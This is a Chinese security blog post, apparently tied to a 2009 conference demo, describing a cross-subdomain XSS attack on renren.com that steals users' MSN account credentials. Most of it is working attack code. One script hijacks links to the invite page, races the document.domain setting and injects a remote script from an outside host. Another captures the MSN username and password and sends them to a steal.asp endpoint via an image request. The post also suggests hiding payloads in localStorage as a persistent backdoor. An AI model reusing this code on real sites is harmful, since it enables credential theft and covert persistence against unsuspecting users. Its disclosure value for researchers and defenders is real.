人人网安全风险之跨子域盗msn号
sscon2009会议上《探究xss virus》的议题中我们提到:在基于web平台的操作层面上,有些类似传统桌面的攻击同样会发生,比如盗QQ号/MSN号/web网游号等。攻击的技巧可以好几种:高级钓鱼攻击(甚至不需基于XSS)、XSS keylogger、json hijacking等。
在sscon2009上我们演示的跨子域盗msn号的demo录像,录像挺大的这里放不了,我就提提过程与细节吧:
一、使用payload的方式:
利用renren.com任意子域下发现的xss,当用户被跨时,可以将如下payload写入到用户本地存储:cookie/userData /localStorage/flash cookie(我们对这些本地存储都做了相关demo),比如这里使用的是localStorage(IE8/ff已经通用,存储上限5M),那么下次读取并执行用户本地存储的payload只要简单一句:
1 |
eval(window.localStorage.getItem("shellcodz")); |
当然我们也可以用传统的<script src=romote-domain/evil.js></script>这样调用远程payload。大家任意发挥。payload 代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
//alert(document.domain); window.onload=function(){ //onload之后hijack,onload是一个很讨厌的机制! alert(document.links.length); for(i=0;i<document.links.length;i++){ document.links[i].onclick = hijack; } } function hijack(){ //这里仅劫持目标页面的url:http://invite.renren.com/Invite.do //invite里有msn邀请好友的功能,那里要求你输入msn账号密码 if(this.href.indexOf('invite.renren.com') == -1){return}; x=window.open(this.href); //超时5秒是有道理的,inj函数与invite页面document.domain='renren.com'的时间竞争 //只要在document.domain='renren.com';之后执行inj,我们的跨子域攻击就可以成功 //因为此时子域的document.domain已经变为renren.com,随便跨吧:) setTimeout("inj(x)",5000); return false; } function inj(x){ s = x.document.createElement('script'); //注入msn账号密码监控脚本 s.src = 'http://www.0x37.com/domain/monitor.js'; x.document.getElementsByTagName('body')[0].appendChild(s) } |
二、监控脚本monitor.js的代码
1 2 3 4 5 6 |
sub=document.getElementsByTagName('input')[5]; sub.onclick=function(){ data = $("uAccount").value+','+$("pwd").value; //alert(data); new Image().src="http://www.0x37.com/domain/steal.asp?data="+escape(data); } |
很简单的一段代码,当用户输入msn账号密码邀请好友加入renren时,用户的msn账号密码就被盗了。
三、细节是什么
1、renren的web所有子域(应该是吧)都是用了document.domain=’renren.com’;
2、注入监控脚本与 invite页面的document.domain=’renren.com’的时间竞争;
四、有趣的地方在哪
1、我们尝试各种本地存储(除了google gears)来保存我们的payload,让这些恶意的操作可以持续并且不被用户发觉,甚至可以成为一个好后门;
2、跨子域后,我们可以做很多很多事;
3、如果你没一个好的xss漏洞,这个过程可能就不那么有趣了:),我仅在IE8成功进行如上测试。
zz
又见到了黑客。。
cao2109
偶来膜拜大牛了~~~